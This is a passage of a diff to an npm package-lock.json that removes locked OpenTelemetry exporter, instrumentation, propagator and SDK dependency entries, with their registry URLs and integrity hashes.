"2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", - "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-metrics-otlp-proto/node_modules/@opentelemetry/resources": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.5.0.tgz", - "integrity": "sha512-F8W52ApePshpoSrfsSk1H2yJn9aKjCrbpQF1M9Qii0GHzbfVeFUB+rc3X4aggyZD8x9Gu3Slua+s6krmq6Dt8g==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-metrics-otlp-proto/node_modules/@opentelemetry/sdk-metrics": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.5.0.tgz", - "integrity": "sha512-BeJLtU+f5Gf905cJX9vXFQorAr6TAfK3SPvTFqP+scfIpDQEJfRaGJWta7sJgP+m4dNtBf9y3yvBKVAZZtJQVA==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/resources": "2.5.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.9.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-prometheus": { - "version": "0.211.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-prometheus/-/exporter-prometheus-0.211.0.tgz", - "integrity": "sha512-cD0WleEL3TPqJbvxwz5MVdVJ82H8jl8mvMad4bNU24cB5SH2mRW5aMLDTuV4614ll46R//R3RMmci26mc2L99g==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/resources": "2.5.0", - "@opentelemetry/sdk-metrics": "2.5.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": "^1.3.0" - } - }, - "node_modules/@opentelemetry/exporter-prometheus/node_modules/@opentelemetry/core": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", - "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-prometheus/node_modules/@opentelemetry/resources": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.5.0.tgz", - "integrity": "sha512-F8W52ApePshpoSrfsSk1H2yJn9aKjCrbpQF1M9Qii0GHzbfVeFUB+rc3X4aggyZD8x9Gu3Slua+s6krmq6Dt8g==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-prometheus/node_modules/@opentelemetry/sdk-metrics": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.5.0.tgz", - "integrity": "sha512-BeJLtU+f5Gf905cJX9vXFQorAr6TAfK3SPvTFqP+scfIpDQEJfRaGJWta7sJgP+m4dNtBf9y3yvBKVAZZtJQVA==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/resources": "2.5.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.9.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-trace-otlp-grpc": { - "version": "0.211.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-grpc/-/exporter-trace-otlp-grpc-0.211.0.tgz", - "integrity": "sha512-eFwx4Gvu6LaEiE1rOd4ypgAiWEdZu7Qzm2QNN2nJqPW1XDeAVH1eNwVcVQl+QK9HR/JCDZ78PZgD7xD/DBDqbw==", - "license": "Apache-2.0", - "dependencies": { - "@grpc/grpc-js": "^1.7.1", - "@opentelemetry/core": "2.5.0", - "@opentelemetry/otlp-exporter-base": "0.211.0", - "@opentelemetry/otlp-grpc-exporter-base": "0.211.0", - "@opentelemetry/otlp-transformer": "0.211.0", - "@opentelemetry/resources": "2.5.0", - "@opentelemetry/sdk-trace-base": "2.5.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": "^1.3.0" - } - }, - "node_modules/@opentelemetry/exporter-trace-otlp-grpc/node_modules/@opentelemetry/core": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", - "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-trace-otlp-grpc/node_modules/@opentelemetry/resources": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.5.0.tgz", - "integrity": "sha512-F8W52ApePshpoSrfsSk1H2yJn9aKjCrbpQF1M9Qii0GHzbfVeFUB+rc3X4aggyZD8x9Gu3Slua+s6krmq6Dt8g==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-trace-otlp-grpc/node_modules/@opentelemetry/sdk-trace-base": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.5.0.tgz", - "integrity": "sha512-VzRf8LzotASEyNDUxTdaJ9IRJ1/h692WyArDBInf5puLCjxbICD6XkHgpuudis56EndyS7LYFmtTMny6UABNdQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/resources": "2.5.0", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-trace-otlp-http": { - "version": "0.211.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-http/-/exporter-trace-otlp-http-0.211.0.tgz", - "integrity": "sha512-F1Rv3JeMkgS//xdVjbQMrI3+26e5SXC7vXA6trx8SWEA0OUhw4JHB+qeHtH0fJn46eFItrYbL5m8j4qi9Sfaxw==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/otlp-exporter-base": "0.211.0", - "@opentelemetry/otlp-transformer": "0.211.0", - "@opentelemetry/resources": "2.5.0", - "@opentelemetry/sdk-trace-base": "2.5.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": "^1.3.0" - } - }, - "node_modules/@opentelemetry/exporter-trace-otlp-http/node_modules/@opentelemetry/core": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", - "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-trace-otlp-http/node_modules/@opentelemetry/resources": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.5.0.tgz", - "integrity": "sha512-F8W52ApePshpoSrfsSk1H2yJn9aKjCrbpQF1M9Qii0GHzbfVeFUB+rc3X4aggyZD8x9Gu3Slua+s6krmq6Dt8g==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-trace-otlp-http/node_modules/@opentelemetry/sdk-trace-base": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.5.0.tgz", - "integrity": "sha512-VzRf8LzotASEyNDUxTdaJ9IRJ1/h692WyArDBInf5puLCjxbICD6XkHgpuudis56EndyS7LYFmtTMny6UABNdQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/resources": "2.5.0", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-trace-otlp-proto": { - "version": "0.211.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-proto/-/exporter-trace-otlp-proto-0.211.0.tgz", - "integrity": "sha512-DkjXwbPiqpcPlycUojzG2RmR0/SIK8Gi9qWO9znNvSqgzrnAIE9x2n6yPfpZ+kWHZGafvsvA1lVXucTyyQa5Kg==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/otlp-exporter-base": "0.211.0", - "@opentelemetry/otlp-transformer": "0.211.0", - "@opentelemetry/resources": "2.5.0", - "@opentelemetry/sdk-trace-base": "2.5.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": "^1.3.0" - } - }, - "node_modules/@opentelemetry/exporter-trace-otlp-proto/node_modules/@opentelemetry/core": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", - "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-trace-otlp-proto/node_modules/@opentelemetry/resources": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.5.0.tgz", - "integrity": "sha512-F8W52ApePshpoSrfsSk1H2yJn9aKjCrbpQF1M9Qii0GHzbfVeFUB+rc3X4aggyZD8x9Gu3Slua+s6krmq6Dt8g==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-trace-otlp-proto/node_modules/@opentelemetry/sdk-trace-base": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.5.0.tgz", - "integrity": "sha512-VzRf8LzotASEyNDUxTdaJ9IRJ1/h692WyArDBInf5puLCjxbICD6XkHgpuudis56EndyS7LYFmtTMny6UABNdQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/resources": "2.5.0", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-zipkin": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-zipkin/-/exporter-zipkin-2.5.0.tgz", - "integrity": "sha512-bk9VJgFgUAzkZzU8ZyXBSWiUGLOM3mZEgKJ1+jsZclhRnAoDNf+YBdq+G9R3cP0+TKjjWad+vVrY/bE/vRR9lA==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/resources": "2.5.0", - "@opentelemetry/sdk-trace-base": "2.5.0", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": "^1.0.0" - } - }, - "node_modules/@opentelemetry/exporter-zipkin/node_modules/@opentelemetry/core": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", - "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-zipkin/node_modules/@opentelemetry/resources": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.5.0.tgz", - "integrity": "sha512-F8W52ApePshpoSrfsSk1H2yJn9aKjCrbpQF1M9Qii0GHzbfVeFUB+rc3X4aggyZD8x9Gu3Slua+s6krmq6Dt8g==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-zipkin/node_modules/@opentelemetry/sdk-trace-base": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.5.0.tgz", - "integrity": "sha512-VzRf8LzotASEyNDUxTdaJ9IRJ1/h692WyArDBInf5puLCjxbICD6XkHgpuudis56EndyS7LYFmtTMny6UABNdQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/resources": "2.5.0", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/instrumentation": { - "version": "0.211.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/instrumentation/-/instrumentation-0.211.0.tgz", - "integrity": "sha512-h0nrZEC/zvI994nhg7EgQ8URIHt0uDTwN90r3qQUdZORS455bbx+YebnGeEuFghUT0HlJSrLF4iHw67f+odY+Q==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/api-logs": "0.211.0", - "import-in-the-middle": "^2.0.0", - "require-in-the-middle": "^8.0.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": "^1.3.0" - } - }, - "node_modules/@opentelemetry/instrumentation-http": { - "version": "0.211.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/instrumentation-http/-/instrumentation-http-0.211.0.tgz", - "integrity": "sha512-n0IaQ6oVll9PP84SjbOCwDjaJasWRHi6BLsbMLiT6tNj7QbVOkuA5sk/EfZczwI0j5uTKl1awQPivO/ldVtsqA==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/instrumentation": "0.211.0", - "@opentelemetry/semantic-conventions": "^1.29.0", - "forwarded-parse": "2.1.2" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": "^1.3.0" - } - }, - "node_modules/@opentelemetry/instrumentation-http/node_modules/@opentelemetry/core": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", - "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/otlp-exporter-base": { - "version": "0.211.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-exporter-base/-/otlp-exporter-base-0.211.0.tgz", - "integrity": "sha512-bp1+63V8WPV+bRI9EQG6E9YID1LIHYSZVbp7f+44g9tRzCq+rtw/o4fpL5PC31adcUsFiz/oN0MdLISSrZDdrg==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/otlp-transformer": "0.211.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": "^1.3.0" - } - }, - "node_modules/@opentelemetry/otlp-exporter-base/node_modules/@opentelemetry/core": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", - "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/otlp-grpc-exporter-base": { - "version": "0.211.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-grpc-exporter-base/-/otlp-grpc-exporter-base-0.211.0.tgz", - "integrity": "sha512-mR5X+N4SuphJeb7/K7y0JNMC8N1mB6gEtjyTLv+TSAhl0ZxNQzpSKP8S5Opk90fhAqVYD4R0SQSAirEBlH1KSA==", - "license": "Apache-2.0", - "dependencies": { - "@grpc/grpc-js": "^1.7.1", - "@opentelemetry/core": "2.5.0", - "@opentelemetry/otlp-exporter-base": "0.211.0", - "@opentelemetry/otlp-transformer": "0.211.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": "^1.3.0" - } - }, - "node_modules/@opentelemetry/otlp-grpc-exporter-base/node_modules/@opentelemetry/core": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", - "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/otlp-transformer": { - "version": "0.211.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-transformer/-/otlp-transformer-0.211.0.tgz", - "integrity": "sha512-julhCJ9dXwkOg9svuuYqqjXLhVaUgyUvO2hWbTxwjvLXX2rG3VtAaB0SzxMnGTuoCZizBT7Xqqm2V7+ggrfCXA==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/api-logs": "0.211.0", - "@opentelemetry/core": "2.5.0", - "@opentelemetry/resources": "2.5.0", - "@opentelemetry/sdk-logs": "0.211.0", - "@opentelemetry/sdk-metrics": "2.5.0", - "@opentelemetry/sdk-trace-base": "2.5.0", - "protobufjs": "8.0.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": "^1.3.0" - } - }, - "node_modules/@opentelemetry/otlp-transformer/node_modules/@opentelemetry/core": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", - "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/otlp-transformer/node_modules/@opentelemetry/resources": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.5.0.tgz", - "integrity": "sha512-F8W52ApePshpoSrfsSk1H2yJn9aKjCrbpQF1M9Qii0GHzbfVeFUB+rc3X4aggyZD8x9Gu3Slua+s6krmq6Dt8g==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/otlp-transformer/node_modules/@opentelemetry/sdk-metrics": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.5.0.tgz", - "integrity": "sha512-BeJLtU+f5Gf905cJX9vXFQorAr6TAfK3SPvTFqP+scfIpDQEJfRaGJWta7sJgP+m4dNtBf9y3yvBKVAZZtJQVA==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/resources": "2.5.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.9.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/otlp-transformer/node_modules/@opentelemetry/sdk-trace-base": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.5.0.tgz", - "integrity": "sha512-VzRf8LzotASEyNDUxTdaJ9IRJ1/h692WyArDBInf5puLCjxbICD6XkHgpuudis56EndyS7LYFmtTMny6UABNdQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/resources": "2.5.0", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/otlp-transformer/node_modules/protobufjs": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-8.0.0.tgz", - "integrity": "sha512-jx6+sE9h/UryaCZhsJWbJtTEy47yXoGNYI4z8ZaRncM0zBKeRqjO2JEcOUYwrYGb1WLhXM1FfMzW3annvFv0rw==", - "hasInstallScript": true, - "license": "BSD-3-Clause", - "dependencies": { - "@protobufjs/aspromise": "^1.1.2", - "@protobufjs/base64": "^1.1.2", - "@protobufjs/codegen": "^2.0.4", - "@protobufjs/eventemitter": "^1.1.0", - "@protobufjs/fetch": "^1.1.0", - "@protobufjs/float": "^1.0.2", - "@protobufjs/inquire": "^1.1.0", - "@protobufjs/path": "^1.1.2", - "@protobufjs/pool": "^1.1.0", - "@protobufjs/utf8": "^1.1.0", - "@types/node": ">=13.7.0", - "long": "^5.0.0" - }, - "engines": { - "node": ">=12.0.0" - } - }, - "node_modules/@opentelemetry/propagator-b3": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/propagator-b3/-/propagator-b3-2.5.0.tgz", - "integrity": "sha512-g10m4KD73RjHrSvUge+sUxUl8m4VlgnGc6OKvo68a4uMfaLjdFU+AULfvMQE/APq38k92oGUxEzBsAZ8RN/YHg==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/propagator-b3/node_modules/@opentelemetry/core": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", - "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/propagator-jaeger": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/propagator-jaeger/-/propagator-jaeger-2.5.0.tgz", - "integrity": "sha512-t70ErZCncAR/zz5AcGkL0TF25mJiK1FfDPEQCgreyAHZ+mRJ/bNUiCnImIBDlP3mSDXy6N09DbUEKq0ktW98Hg==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/propagator-jaeger/node_modules/@opentelemetry/core": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", - "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/resources": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.7.0.tgz", - "integrity": "sha512-K+oi0hNMv94EpZbnW3eyu2X6SGVpD3O5DhG2NIp65Hc7lhAj9brRXTAVzh3wB82+q3ThakEf7Zd7RsFUqcTc7A==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.7.0", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/sdk-logs": { - "version": "0.211.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.211.0.tgz", - "integrity": "sha512-O5nPwzgg2JHzo59kpQTPUOTzFi0Nv5LxryG27QoXBciX3zWM3z83g+SNOHhiQVYRWFSxoWn1JM2TGD5iNjOwdA==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/api-logs": "0.211.0", - "@opentelemetry/core": "2.5.0", - "@opentelemetry/resources": "2.5.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.4.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/sdk-logs/node_modules/@opentelemetry/core": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", - "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/sdk-logs/node_modules/@opentelemetry/resources": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.5.0.tgz", - "integrity": 